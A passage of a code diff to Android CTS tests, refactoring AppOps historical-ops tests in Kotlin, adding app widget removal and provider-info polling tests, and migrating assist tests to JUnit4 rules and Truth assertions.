-            appOpsManager!!.addHistoricalOps(chunk)
+            appOpsManager.addHistoricalOps(chunk)
         }
 
         // Validate the data for the full interval
         val intervalBeginMillis = computeIntervalBeginRawMillis(depth)
         val intervalEndMillis = computeIntervalBeginRawMillis(depth + 1)
-        val ops = getHistoricalOpsFromDiskRaw(appOpsManager!!, uid, packageName!!,
-                null /*opNames*/, intervalBeginMillis, intervalEndMillis)
+        val ops = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
+                intervalBeginMillis, intervalEndMillis)
         val expectedOpCount = ((computeSlotCount(depth + 1) - computeSlotCount(depth))
             .times(SNAPSHOT_INTERVAL_MILLIS) / chunk.endTimeMillis) * 10
         assertHasCounts(ops!!, expectedOpCount)
@@ -226,14 +225,14 @@
 
     private fun testGetHistoricalPackageOpsForegroundAtDepth(depth: Int) {
         // Configure historical registry behavior.
-        appOpsManager!!.setHistoryParameters(
+        appOpsManager.setHistoryParameters(
                 AppOpsManager.HISTORICAL_MODE_ENABLED_ACTIVE,
                 SNAPSHOT_INTERVAL_MILLIS,
                 INTERVAL_COMPRESSION_MULTIPLIER)
 
-        appOpsManager!!.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, uid,
+        appOpsManager.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, uid,
                 AppOpsManager.MODE_ALLOWED)
-        appOpsManager!!.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, 2000,
+        appOpsManager.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, 2000,
                 AppOpsManager.MODE_ALLOWED)
 
         activityRule.activity.waitForResumed()
@@ -247,7 +246,7 @@
             // Note ops such that we have data at all levels
             for (d in depth downTo 0) {
                 for (i in 0 until noteCount) {
-                    appOpsManager!!.noteOp(AppOpsManager.OPSTR_START_FOREGROUND, uid, packageName!!)
+                    appOpsManager.noteOp(AppOpsManager.OPSTR_START_FOREGROUND, uid, packageName)
                 }
 
                 if (d > 0) {
@@ -272,7 +271,7 @@
             }
 
             // Get all ops for the package
-            val allOps = getHistoricalOps(appOpsManager!!, uid, packageName!!,
+            val allOps = getHistoricalOps(appOpsManager, uid, packageName,
                     null, beginTimeMillis, endTimeMillis)
 
             assertThat(allOps).isNotNull()
@@ -287,7 +286,7 @@
 
             val packageOps = uidOps.getPackageOpsAt(0)
             assertThat(packageOps).isNotNull()
-            assertThat(packageOps.packageName).isEqualTo(getContext().packageName)
+            assertThat(packageOps.packageName).isEqualTo(packageName)
             assertThat(packageOps.opCount).isEqualTo(1)
 
             val op = packageOps.getOpAt(0)
@@ -337,9 +336,9 @@
             assertThat(getRejectCount(op, AppOpsManager.UID_STATE_BACKGROUND)).isEqualTo(0)
             assertThat(getRejectCount(op, AppOpsManager.UID_STATE_CACHED)).isEqualTo(0)
         } finally {
-            appOpsManager!!.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, uid,
+            appOpsManager.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, uid,
                     AppOpsManager.MODE_FOREGROUND)
-            appOpsManager!!.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, 2000,
+            appOpsManager.setUidMode(AppOpsManager.OPSTR_START_FOREGROUND, 2000,
                     AppOpsManager.MODE_FOREGROUND)
         }
     }
@@ -348,23 +347,28 @@
         val chunk = HistoricalOps(SNAPSHOT_INTERVAL_MILLIS / 4,
                 SNAPSHOT_INTERVAL_MILLIS / 2)
         chunk.increaseAccessCount(AppOpsManager.OP_START_FOREGROUND, uid,
-                packageName!!, AppOpsManager.UID_STATE_TOP, AppOpsManager.OP_FLAG_SELF, 10)
+                packageName, AppOpsManager.UID_STATE_TOP, AppOpsManager.OP_FLAG_SELF, 10)
         chunk.increaseAccessCount(AppOpsManager.OP_START_FOREGROUND, uid,
-                packageName!!, AppOpsManager.UID_STATE_BACKGROUND, AppOpsManager.OP_FLAG_SELF, 10)
+                packageName, AppOpsManager.UID_STATE_BACKGROUND, AppOpsManager.OP_FLAG_SELF, 10)
         chunk.increaseRejectCount(AppOpsManager.OP_START_FOREGROUND, uid,
-                packageName!!, AppOpsManager.UID_STATE_TOP, AppOpsManager.OP_FLAG_SELF, 10)
+                packageName, AppOpsManager.UID_STATE_TOP, AppOpsManager.OP_FLAG_SELF, 10)
         chunk.increaseRejectCount(AppOpsManager.OP_START_FOREGROUND, uid,
-                packageName!!, AppOpsManager.UID_STATE_BACKGROUND, AppOpsManager.OP_FLAG_SELF, 10)
+                packageName, AppOpsManager.UID_STATE_BACKGROUND, AppOpsManager.OP_FLAG_SELF, 10)
         chunk.increaseAccessDuration(AppOpsManager.OP_START_FOREGROUND, uid,
-                packageName!!, AppOpsManager.UID_STATE_TOP, AppOpsManager.OP_FLAG_SELF, 10)
+                packageName, AppOpsManager.UID_STATE_TOP, AppOpsManager.OP_FLAG_SELF, 10)
         chunk.increaseAccessDuration(AppOpsManager.OP_START_FOREGROUND, uid,
-                packageName!!, AppOpsManager.UID_STATE_BACKGROUND, AppOpsManager.OP_FLAG_SELF, 10)
+                packageName, AppOpsManager.UID_STATE_BACKGROUND, AppOpsManager.OP_FLAG_SELF, 10)
         return chunk
     }
 
-    private fun getHistoricalOps(appOpsManager: AppOpsManager, uid: Int,
-            packageName: String, opNames: List<String>?, beginTimeMillis: Long,
-            endTimeMillis: Long): HistoricalOps? {
+    private fun getHistoricalOps(
+        appOpsManager: AppOpsManager,
+        uid: Int,
+        packageName: String,
+        opNames: List<String>?,
+        beginTimeMillis: Long,
+        endTimeMillis: Long
+    ): HistoricalOps? {
         val array = arrayOfNulls<HistoricalOps>(1)
         val lock = ReentrantLock()
         val condition = lock.newCondition()
@@ -374,10 +378,9 @@
                     beginTimeMillis, endTimeMillis)
                     .setUid(uid)
                     .setPackageName(packageName)
-                    .setOpNames(if (opNames != null) ArrayList(opNames) else null)
+                    .setOpNames(opNames?.toList())
                     .build()
-            appOpsManager.getHistoricalOps(request, getContext().getMainExecutor(),
-                    Consumer { ops ->
+            appOpsManager.getHistoricalOps(request, context.mainExecutor, Consumer { ops ->
                 array[0] = ops
                 try {
                     lock.lock()
@@ -426,9 +429,13 @@
         return op.getAccessDuration(uidState, uidState, AppOpsManager.OP_FLAGS_ALL)
     }
 
-    private fun getHistoricalOpsFromDiskRaw(appOpsManager: AppOpsManager, uid: Int,
-            packageName: String, opNames: List<String>?, beginTimeMillis: Long,
-            endTimeMillis: Long): HistoricalOps? {
+    private fun getHistoricalOpsFromDiskRaw(
+        uid: Int,
+        packageName: String,
+        opNames: List<String>?,
+        beginTimeMillis: Long,
+        endTimeMillis: Long
+    ): HistoricalOps? {
         val array = arrayOfNulls<HistoricalOps>(1)
         val lock = ReentrantLock()
         val condition = lock.newCondition()
@@ -438,18 +445,18 @@
                     beginTimeMillis, endTimeMillis)
                     .setUid(uid)
                     .setPackageName(packageName)
-                    .setOpNames(if (opNames != null) ArrayList(opNames) else null)
+                    .setOpNames(opNames?.toList())
                     .build()
-            appOpsManager.getHistoricalOpsFromDiskRaw(request, getContext().getMainExecutor(),
-                Consumer { ops ->
-                  array[0] = ops
-                  try {
-                      lock.lock()
-                      condition.signalAll()
-                  } finally {
-                      lock.unlock()
-                  }
-              })
+            appOpsManager.getHistoricalOpsFromDiskRaw(request, context.mainExecutor,
+                    Consumer { ops ->
+                        array[0] = ops
+                        try {
+                            lock.lock()
+                            condition.signalAll()
+                        } finally {
+                            lock.unlock()
+                        }
+                    })
             condition.await(5, TimeUnit.SECONDS)
             return array[0]
         } finally {
@@ -461,6 +468,10 @@
         const val INTERVAL_COMPRESSION_MULTIPLIER = 10
         const val SNAPSHOT_INTERVAL_MILLIS = 1000L
 
+        val instrumentation get() = InstrumentationRegistry.getInstrumentation()
+        val context get() = instrumentation.context
+        val uiAutomation get() = instrumentation.uiAutomation
+
         private fun computeIntervalDurationMillis(depth: Int): Long {
             return Math.pow(INTERVAL_COMPRESSION_MULTIPLIER.toDouble(),
                     (depth + 1).toDouble()).toLong() * SNAPSHOT_INTERVAL_MILLIS
@@ -482,13 +493,5 @@
             }
             return beginTimeMillis * SNAPSHOT_INTERVAL_MILLIS
         }
-
-        private fun getInstrumentation(): Instrumentation {
-            return InstrumentationRegistry.getInstrumentation()
-        }
-
-        private fun getContext(): Context {
-            return getInstrumentation().context
-        }
     }
 }
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
index 0e84505..6a79aba 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
@@ -74,6 +74,7 @@
 import java.util.Arrays;
 import java.util.List;
 import java.util.concurrent.atomic.AtomicInteger;
+import java.util.function.IntConsumer;
 
 public class AppWidgetTest extends AppWidgetTestCase {
 
@@ -739,6 +740,88 @@
 
     @AppModeFull(reason = "Instant apps cannot provide or host app widgets")
     @Test
+    public void testAppWidgetRemoved() throws Exception {
+
+        // We want to bind widgets.
+        grantBindAppWidgetPermission();
+
+        final AtomicInteger onAppWidgetRemovedCounter = new AtomicInteger();
+        IntConsumer callback = mock(IntConsumer.class);
+
+        // Create a host and start listening.
+        AppWidgetHost host = new AppWidgetHost(
+            getInstrumentation().getTargetContext(), 0) {
+            @Override
+            public void onAppWidgetRemoved(int widgetId) {
+                synchronized (mLock) {
+                    onAppWidgetRemovedCounter.incrementAndGet();
+                    mLock.notifyAll();
+                    callback.accept(widgetId);
+                }
+            }
+        };
+        host.deleteHost();
+        host.startListening();
+
+        int firstAppWidgetId = 0;
+        int secondAppWidgetId = 0;
+
+        try {
+            // Grab the provider we defined to be bound.
+            AppWidgetProviderInfo firstProviderInfo = getFirstAppWidgetProviderInfo();
+            AppWidgetProviderInfo secondProviderInfo = getSecondAppWidgetProviderInfo();
+
+            // Allocate widget id to bind.
+            firstAppWidgetId = host.allocateAppWidgetId();
+            secondAppWidgetId = host.allocateAppWidgetId();
+
+            //create listeners
+            MyAppWidgetHostView.OnUpdateAppWidgetListener secondAppHostViewListener =
+                mock(MyAppWidgetHostView.OnUpdateAppWidgetListener.class);
+
+            // Bind the first app widget.
+            getAppWidgetManager().bindAppWidgetIdIfAllowed(firstAppWidgetId,
+                firstProviderInfo.getProfile(), firstProviderInfo.provider, null);
+            getAppWidgetManager().bindAppWidgetIdIfAllowed(secondAppWidgetId,
+                secondProviderInfo.getProfile(), secondProviderInfo.provider, null);
+
+            // Disable the first widget while host is listening
+            PackageManager packageManager = getInstrumentation().getTargetContext()
+                .getApplicationContext().getPackageManager();
+            packageManager.setComponentEnabledSetting(firstProviderInfo.provider,
+                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+                PackageManager.DONT_KILL_APP);
+
+            waitForCallCount(onAppWidgetRemovedCounter, 1);
+
+            // Disable the second widget while host is paused
+            host.stopListening();
+            packageManager.setComponentEnabledSetting(secondProviderInfo.provider,
+                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+                PackageManager.DONT_KILL_APP);
+
+
+            assertEquals(onAppWidgetRemovedCounter.get(),1);
+            verify(callback).accept(eq(firstAppWidgetId));
+
+            // resume listening
+            host.startListening();
+
+            // Wait for the package change to propagate.
+            waitForCallCount(onAppWidgetRemovedCounter, 2);
+            verify(callback).accept(eq(secondAppWidgetId));
+
+        } finally {
+            // Clean up.
+            host.deleteAppWidgetId(firstAppWidgetId);
+            host.deleteAppWidgetId(secondAppWidgetId);
+            host.deleteHost();
+            revokeBindAppWidgetPermission();
+        }
+    }
+
+    @AppModeFull(reason = "Instant apps cannot provide or host app widgets")
+    @Test
     public void testUpdateAppWidgetViaComponentName() throws Exception {
         // We want to bind widgets.
         grantBindAppWidgetPermission();
@@ -1502,7 +1585,6 @@
     private static class MyAppWidgetHostView extends AppWidgetHostView {
         private OnUpdateAppWidgetListener mOnUpdateAppWidgetListener;
 
-
         public interface OnUpdateAppWidgetListener {
             public void onUpdateAppWidget(RemoteViews remoteViews);
         }
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/UpdateProviderInfoTest.java b/tests/tests/appwidget/src/android/appwidget/cts/UpdateProviderInfoTest.java
index 3d7f779..5f1320a 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/UpdateProviderInfoTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/UpdateProviderInfoTest.java
@@ -17,8 +17,7 @@
 package android.appwidget.cts;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
 
 import android.appwidget.AppWidgetHost;
 import android.appwidget.AppWidgetManager;
@@ -35,9 +34,11 @@
 import org.junit.Before;
 import org.junit.Test;
 
+import java.time.Instant;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.function.Predicate;
 
 @AppModeFull(reason = "Instant apps cannot provide or host app widgets")
 public class UpdateProviderInfoTest extends AppWidgetTestCase {
@@ -55,6 +56,10 @@
     private static final int HOST_ID = 42;
 
     private static final int RETRY_COUNT = 3;
+    private static final int WAIT_FOR_STATE_CHANGE_TIMEOUT_MS = 1000;
+
+    private static final Predicate<ComponentName> NULL_CN_PREDICATE = (cn) -> cn == null;
+    private static final Predicate<ComponentName> NOT_NULL_CN_PREDICATE = (cn) -> cn != null;
 
     private CountDownLatch mProviderChangeNotifier;
     AppWidgetHost mHost;
@@ -78,48 +83,48 @@
     public void testInfoOverrides() throws Throwable {
         // On first install the provider does not have any config activity.
         installApk(APK_V1);
-        assertNull(getProviderInfo().configure);
+        waitAndConfirmComponentName(NULL_CN_PREDICATE);
 
         // The provider info is updated
         updateInfo(EXTRA_CUSTOM_INFO);
-        assertNotNull(getProviderInfo().configure);
+        waitAndConfirmComponentName(NOT_NULL_CN_PREDICATE);
 
         // The provider info is updated
         updateInfo(null);
-        assertNull(getProviderInfo().configure);
+        waitAndConfirmComponentName(NULL_CN_PREDICATE);
     }
 
     @Test
     public void testOverridesPersistedOnUpdate() throws Exception {
         installApk(APK_V1);
-        assertNull(getProviderInfo().configure);
+        waitAndConfirmComponentName(NULL_CN_PREDICATE);
 
         updateInfo(EXTRA_CUSTOM_INFO);
-        assertNotNull(getProviderInfo().configure);
+        waitAndConfirmComponentName(NOT_NULL_CN_PREDICATE);
         assertEquals((AppWidgetProviderInfo.RESIZE_BOTH & getProviderInfo().resizeMode),
                 AppWidgetProviderInfo.RESIZE_BOTH);
 
         // Apk updated, the info is also updated
         installApk(APK_V2);
-        assertNotNull(getProviderInfo().configure);
+        waitAndConfirmComponentName(NOT_NULL_CN_PREDICATE);
         assertEquals((AppWidgetProviderInfo.RESIZE_BOTH & getProviderInfo().resizeMode), 0);
 
         // The provider info is reverted
         updateInfo(null);
-        assertNull(getProviderInfo().configure);
+        waitAndConfirmComponentName(NULL_CN_PREDICATE);
     }
 
     @Test
     public void testOverrideClearedWhenMissingInfo() throws Exception {
         installApk(APK_V1);
-        assertNull(getProviderInfo().configure);
+        waitAndConfirmComponentName(NULL_CN_PREDICATE);
 
         updateInfo(EXTRA_CUSTOM_INFO);
-        assertNotNull(getProviderInfo().configure);
+        waitAndConfirmComponentName(NOT_NULL_CN_PREDICATE);
 
         // V3 does not have the custom info definition
         installApk(APK_V3);
-        assertNull(getProviderInfo().configure);
+        waitAndConfirmComponentName(NULL_CN_PREDICATE);
     }
 
     private void createHost() throws Exception {
@@ -143,6 +148,18 @@
         }
     }
 
+    private void waitAndConfirmComponentName(Predicate<ComponentName> condition) throws Exception {
+        long deadline = Instant.now().plusMillis(WAIT_FOR_STATE_CHANGE_TIMEOUT_MS).toEpochMilli();
+        boolean passesTest = condition.test(getProviderInfo().configure);
+        while (!passesTest && Instant.now().toEpochMilli() < deadline) {
+            long timeout = deadline - Instant.now().toEpochMilli();
+            mProviderChangeNotifier = new CountDownLatch(1);
+            mProviderChangeNotifier.await(timeout, TimeUnit.MILLISECONDS);
+            passesTest = condition.test(getProviderInfo().configure);
+        }
+        assertTrue(passesTest);
+    }
+
     private void updateInfo(String key) throws Exception {
         mProviderChangeNotifier = new CountDownLatch(1);
         Intent intent = new Intent(Constants.ACTION_APPLY_OVERRIDE)
@@ -170,8 +187,8 @@
     private AppWidgetProviderInfo getProviderInfo() throws Exception {
         for (int i = 0; i < RETRY_COUNT; i++) {
             mProviderChangeNotifier = new CountDownLatch(1);
-            List<AppWidgetProviderInfo> providers = AppWidgetManager.getInstance(getInstrumentation()
-                    .getTargetContext()).getInstalledProvidersForPackage(
+            List<AppWidgetProviderInfo> providers = AppWidgetManager.getInstance(
+                    getInstrumentation().getTargetContext()).getInstalledProvidersForPackage(
                     PROVIDER_PACKAGE, Process.myUserHandle());
 
             if (providers != null && !providers.isEmpty()) {
diff --git a/tests/tests/assist/Android.bp b/tests/tests/assist/Android.bp
index 632c19e..83be674 100644
--- a/tests/tests/assist/Android.bp
+++ b/tests/tests/assist/Android.bp
@@ -25,11 +25,9 @@
         "CtsAssistCommon",
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
+	"androidx.test.ext.junit",
     ],
-    libs: [
-        "android.test.runner.stubs",
-        "android.test.base.stubs",
-    ],
+
     srcs: ["src/**/*.java"],
     sdk_version: "test_current",
 }
diff --git a/tests/tests/assist/AndroidTest.xml b/tests/tests/assist/AndroidTest.xml
index 3c08038..c8014e6 100644
--- a/tests/tests/assist/AndroidTest.xml
+++ b/tests/tests/assist/AndroidTest.xml
@@ -30,9 +30,6 @@
         <option name="test-file-name" value="CtsAssistApp.apk" />
         <option name="test-file-name" value="CtsAssistTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="settings put secure voice_interaction_service android.assist.service/.MainInteractionService" />
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.assist.cts" />
         <option name="runtime-hint" value="12m30s" />
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index 7706bd4..2c96f80 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -82,7 +82,13 @@
         Log.i(TAG, "onDestroy()");
         super.onDestroy();
         if (mReceiver != null) {
-            mContext.unregisterReceiver(mReceiver);
+            try {
+                mContext.unregisterReceiver(mReceiver);
+            } catch (IllegalArgumentException e) {
+                // Ignore this exception when unregisterReceiver fails. Due to there will be timing
+                // case to destroy VoiceInteractionSessionService before VoiceInteractionSession.
+                Log.e(TAG, "Failed to unregister receiver in onDestroy.", e);
+            }
         }
     }
 
diff --git a/tests/tests/assist/src/android/assist/cts/AssistStructureTest.java b/tests/tests/assist/src/android/assist/cts/AssistStructureTest.java
index 0506bc9..69150a4 100755
--- a/tests/tests/assist/src/android/assist/cts/AssistStructureTest.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistStructureTest.java
@@ -16,12 +16,17 @@
 
 package android.assist.cts;
 
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.fail;
+
 import android.assist.common.AutoResetLatch;
 import android.assist.common.Utils;
 import android.util.Log;
 
-import java.util.concurrent.TimeUnit;
+import org.junit.Test;
 
+import java.util.concurrent.TimeUnit;
 
 /**
  *  Test that the AssistStructure returned is properly formatted.
@@ -34,12 +39,12 @@
     private AutoResetLatch mHasDrawedLatch;
 
     @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    protected void customSetup() throws Exception {
         mHasDrawedLatch = new AutoResetLatch(1);
         mActionLatchReceiver = new ActionLatchReceiver(Utils.APP_3P_HASDRAWED, mHasDrawedLatch);
         startTestActivity(TEST_CASE_TYPE);
     }
+
     private void waitForOnDraw() throws Exception {
         Log.i(TAG, "waiting for onDraw() before continuing");
         if (!mHasDrawedLatch.await(Utils.ACTIVITY_ONRESUME_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
@@ -47,6 +52,7 @@
         }
     }
 
+    @Test
     public void testAssistStructure() throws Throwable {
         if (!mContext.getPackageManager().hasSystemFeature(FEATURE_VOICE_RECOGNIZERS)) {
             Log.d(TAG, "Not running assist tests - voice_recognizers feature is not supported");
@@ -59,9 +65,10 @@
         final AutoResetLatch latch = startSession();
         waitForContext(latch);
         getInstrumentation().waitForIdleSync();
-        runTestOnUiThread(() -> {
+        getInstrumentation().runOnMainSync(() -> {
             verifyAssistDataNullness(false, false, false, false);
-            verifyAssistStructure(Utils.getTestAppComponent(TEST_CASE_TYPE), false /*FLAG_SECURE set*/);
+            verifyAssistStructure(Utils.getTestAppComponent(TEST_CASE_TYPE),
+                    false /*FLAG_SECURE set*/);
         });
     }
 }
diff --git a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
index 9971f74..967101f 100644
--- a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
@@ -16,8 +16,15 @@
 
 package android.assist.cts;
 
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
 import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+
 import android.app.ActivityManager;
 import android.app.assist.AssistContent;
 import android.app.assist.AssistStructure;
@@ -34,7 +41,6 @@
 import android.os.LocaleList;
 import android.os.RemoteCallback;
 import android.provider.Settings;
-import android.test.ActivityInstrumentationTestCase2;
 import android.util.Log;
 import android.util.Pair;
 import android.view.Display;
@@ -45,19 +51,32 @@
 import android.widget.TextView;
 
 import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.rule.ActivityTestRule;
 
+import com.android.compatibility.common.util.SettingsStateChangerRule;
+import com.android.compatibility.common.util.SettingsStateManager;
 import com.android.compatibility.common.util.SettingsUtils;
+import com.android.compatibility.common.util.StateKeeperRule;
 import com.android.compatibility.common.util.ThrowingRunnable;
 import com.android.compatibility.common.util.Timeout;
 
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
 import java.util.HashMap;
 import java.util.Map;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicReference;
 
-import javax.annotation.Nullable;
-
-public class AssistTestBase extends ActivityInstrumentationTestCase2<TestStartActivity> {
+@RunWith(AndroidJUnit4.class)
+abstract class AssistTestBase {
     private static final String TAG = "AssistTestBase";
 
     protected static final String FEATURE_VOICE_RECOGNIZERS = "android.software.voice_recognizers";
@@ -66,10 +85,6 @@
     private static final String ASSIST_STRUCTURE_ENABLED = "assist_structure_enabled";
     private static final String ASSIST_SCREENSHOT_ENABLED = "assist_screenshot_enabled";
 
-    // TODO: once tests are migrated to JUnit 4, use a @BeforeClass method or StateChangerRule
-    // to avoid this hack
-    private static boolean mFirstTest = true;
-
     private static final Timeout TIMEOUT = new Timeout(
             "AssistTestBaseTimeout",
             10000,
@@ -79,6 +94,30 @@
 
     private static final long SLEEP_BEFORE_RETRY_MS = 250L;
 
+    private static final Context sContext = getInstrumentation().getTargetContext();
+
+    private static final SettingsStateManager sStructureEnabledMgr = new SettingsStateManager(
+            sContext, SettingsUtils.NAMESPACE_SECURE, ASSIST_STRUCTURE_ENABLED);
+    private static final SettingsStateManager sScreenshotEnabledMgr = new SettingsStateManager(
+            sContext, SettingsUtils.NAMESPACE_SECURE, ASSIST_SCREENSHOT_ENABLED);
+
+    private final SettingsStateChangerRule mServiceSetterRule = new SettingsStateChangerRule(
+            sContext, Settings.Secure.VOICE_INTERACTION_SERVICE,
+            "android.assist.service/.MainInteractionService");
+    private final StateKeeperRule<String> mStructureEnabledKeeperRule = new StateKeeperRule<>(
+            sStructureEnabledMgr);
+    private final StateKeeperRule<String> mScreenshotEnabledKeeperRule = new StateKeeperRule<>(
+            sScreenshotEnabledMgr);
+    private final ActivityTestRule<TestStartActivity> mActivityTestRule =
+            new ActivityTestRule<>(TestStartActivity.class, false, false);
+
+    @Rule
+    public final RuleChain mLookAllTheseRules = RuleChain
+            .outerRule(mServiceSetterRule)
+            .around(mStructureEnabledKeeperRule)
+            .around(mScreenshotEnabledKeeperRule)
+            .around(mActivityTestRule);
+
     protected ActivityManager mActivityManager;
     private TestStartActivity mTestActivity;
     protected AssistContent mAssistContent;
@@ -108,20 +147,15 @@
     private String mTestName;
     private View mView;
 
-    public AssistTestBase() {
-        super(TestStartActivity.class);
+    @BeforeClass
+    public static void setFeatures() {
+        setFeaturesEnabled(StructureEnabled.TRUE, ScreenshotEnabled.TRUE);
+        logContextAndScreenshotSetting();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
-
-        if (mFirstTest) {
-            setFeaturesEnabled(StructureEnabled.TRUE, ScreenshotEnabled.TRUE);
-            logContextAndScreenshotSetting();
-            mFirstTest = false;
-        }
+    @Before
+    public final void setUp() throws Exception {
+        mContext = sContext;
 
         // reset old values
         mScreenshotMatches = false;
@@ -134,10 +168,19 @@
 
         prepareDevice();
         registerForAsyncReceivingCallback();
+
+        customSetup();
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    /**
+     * Test-specific setup - doesn't need to call {@code super} neither use <code>@Before</code>.
+     */
+    protected void customSetup() throws Exception {
+    }
+
+    @After
+    public final void tearDown() throws Exception {
+        customTearDown();
         mTestActivity.finish();
         mContext.sendBroadcast(new Intent(Utils.HIDE_SESSION));
 
@@ -146,10 +189,15 @@
             m3pActivityCallback.sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST));
         }
 
-        super.tearDown();
         mSessionCompletedLatch.await(3, TimeUnit.SECONDS);
     }
 
+    /**
+     * Test-specific teardown - doesn't need to call {@code super} neither use <code>@After</code>.
+     */
+    protected void customTearDown() throws Exception {
+    }
+
     private void prepareDevice() throws Exception {
         Log.d(TAG, "prepareDevice()");
 
@@ -213,8 +261,7 @@
         intent.setAction("android.intent.action.TEST_START_ACTIVITY_" + testName);
         intent.putExtra(Utils.TESTCASE_TYPE, testName);
         intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK, mRemoteCallback);
-        setActivityIntent(intent);
-        mTestActivity = getActivity();
+        mTestActivity = mActivityTestRule.launchActivity(intent);
         mActivityManager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
     }
 
@@ -339,23 +386,21 @@
      */
     protected void verifyAssistStructure(ComponentName backgroundApp, boolean isSecureWindow) {
         // Check component name matches
-        assertEquals(backgroundApp.flattenToString(),
-                mAssistStructure.getActivityComponent().flattenToString());
+        assertThat(mAssistStructure.getActivityComponent().flattenToString())
+                .isEqualTo(backgroundApp.flattenToString());
         long acquisitionStart = mAssistStructure.getAcquisitionStartTime();
         long acquisitionEnd = mAssistStructure.getAcquisitionEndTime();
-        assertTrue(acquisitionStart > 0);
-        assertTrue(acquisitionEnd > 0);
-        assertTrue(acquisitionEnd >= acquisitionStart);
+        assertThat(acquisitionStart).isGreaterThan(0L);
+        assertThat(acquisitionEnd).isGreaterThan(0L);
+        assertThat(acquisitionEnd).isAtLeast(acquisitionStart);
         Log.i(TAG, "Traversing down structure for: " + backgroundApp.flattenToString());
         mView = mTestActivity.findViewById(android.R.id.content).getRootView();
         verifyHierarchy(mAssistStructure, isSecureWindow);
     }
 
-    protected void logContextAndScreenshotSetting() {
-        Log.i(TAG, "Context is: " + Settings.Secure.getString(
-                mContext.getContentResolver(), "assist_structure_enabled"));
-        Log.i(TAG, "Screenshot is: " + Settings.Secure.getString(
-                mContext.getContentResolver(), "assist_screenshot_enabled"));
+    protected static void logContextAndScreenshotSetting() {
+        Log.i(TAG, "Context is: " + sStructureEnabledMgr.get());
+        Log.i(TAG, "Screenshot is: " + sScreenshotEnabledMgr.get());
     }
 
     /**
@@ -366,7 +411,7 @@
 
         int numWindows = structure.getWindowNodeCount();
         // TODO: multiple windows?
-        assertEquals("Number of windows don't match", 1, numWindows);
+        assertWithMessage("Number of windows don't match").that(numWindows).isEqualTo(1);
         int[] appLocationOnScreen = new int[2];
         mView.getLocationOnScreen(appLocationOnScreen);
 
@@ -375,10 +420,10 @@
             Log.i(TAG, "Title: " + windowNode.getTitle());
             // Verify top level window bounds are as big as the app and pinned to its top-left
             // corner.
-            assertEquals("Window left position wrong: was " + windowNode.getLeft(),
-                    windowNode.getLeft(), appLocationOnScreen[0]);
-            assertEquals("Window top position wrong: was " + windowNode.getTop(),
-                    windowNode.getTop(), appLocationOnScreen[1]);
+            assertWithMessage("Window left position wrong: was %s", windowNode.getLeft())
+                    .that(appLocationOnScreen[0]).isEqualTo(windowNode.getLeft());
+            assertWithMessage("Window top position wrong: was %s", windowNode.getTop())
+                    .that(appLocationOnScreen[1]).isEqualTo(windowNode.getTop());
             traverseViewAndStructure(
                     mView,
                     windowNode.getRootViewNode(),
@@ -421,7 +466,7 @@
         }
         Log.i(TAG, "Node ID: " + parentNode.getIdEntry());
 
-        assertEquals("IDs do not match", parentViewId, parentNode.getIdEntry());
+        assertWithMessage("IDs do not match").that(parentNode.getIdEntry()).isEqualTo(parentViewId);
 
         int numViewChildren = 0;
         int numNodeChildren = 0;
@@ -431,22 +476,26 @@
         numNodeChildren = parentNode.getChildCount();
 
         if (isSecureWindow) {
-            assertTrue("ViewNode property isAssistBlocked is false", parentNode.isAssistBlocked());
